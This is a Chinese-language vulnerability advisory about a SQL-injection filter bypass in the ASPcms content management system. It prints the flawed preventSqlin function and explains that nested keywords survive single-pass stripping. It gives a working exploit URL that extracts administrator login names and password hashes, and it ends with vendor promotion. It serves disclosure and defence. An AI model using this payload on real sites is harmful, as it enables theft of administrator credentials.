近日,湖盟云防火墙安全专家Viekst检测到aspcms在SQL过滤的时候存在畸形的过滤,通过精心的构造即可绕过其过滤,成功利用可获取管理员的所有信息,危害很大并且影响所有版本。找出问题后,湖盟云防火墙第一时间联系了厂商,并配合对方完成了漏洞的修补。
ASPcms介绍:
ASPcms是完全开源的一套CMS建站系统,主要面向企业进行快速的建造简洁,高效,易用,安全的公司企业网站,一般的开发人员就能够使用本系统以最低的成本、最少的人力投入在最短的时间内架设一个功能齐全、性能优异的公司企业网站。ASPcms是基于ASP+Access(sql2000)开发的网站内容管理系统,提供了简介类模块,新闻类模块,产品类模块,图片类模块,下载类模块。你在使用过程中可选择任意模块来建设网站。
以下是该漏洞产生的细节部分:
0×1 Aspcms在处理提交的数据都用了filterPara函数过滤,这个函数接着调用了Checkxss,PreventSqlin两个函数进行了字符过滤,从字面上可知Checkxss是用来过滤跨站的,而preventSqlin是用来过滤SQL注入语句的。
0×2 我们看下关键的preventSqlin函数 (/inc/AspCms_CommonFun.asp)
Function preventSqlin(content)
dim sqlStr,sqlArray,i,speStr
sqlStr=”<|>|%|%27|’|” |;|*|and|exec|dbcc|alter|drop|insert|select|update|delete|count|master|truncate|char|declare|where|set|declare|mid|chr” ‘要过滤的SQL关键词
if isNul(content) then Exit Function
sqlArray=split(sqlStr,”|”) ‘将其分割成数组
for i=lbound(sqlArray) to ubound(sqlArray)
if instr(lcase(content),sqlArray(i))<>0 then
select case sqlArray(i)
case “<”:speStr=”<” case “>”:speStr=”>”
case “‘”,””””:speStr=”””
‘case “;”:speStr=”;”
case else_speStr=””
end select ‘如果出现了 < > ‘ “ ; 则将其HTML转义
content=replace(content,sqlArray(i),speStr,1,-1,1) ‘如果出现关键字则将其替换为空。
end if
next
preventSqlin=content
End Function
该函数看似是安全的,但是忘了一种情形,那就是用户提交的是类似于SELE(关键字)CT,过滤之后不又是一个关键字吗?这和早些年的ASP防注入的有点像,都是忘了应该循环匹配替换。
0×3 有了上面的分析,可以构造注入的语句了,下面给出测试的EXP
http://localhost/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
湖盟云安全平台(my.hnhack.com):国际知名的网站安全保护、网站性能提升平台,通过湖盟云平台分布在世界各地的节点,可以有效提高网站访问量,据统计,使用了湖盟云平台的网站,平均可加速200%以上,网站访问量提高20%。
我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。
我原创,你原创,我们的内容世界才会更加精彩!
【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】
微信公众号
TechTarget
官方微博
TechTarget中国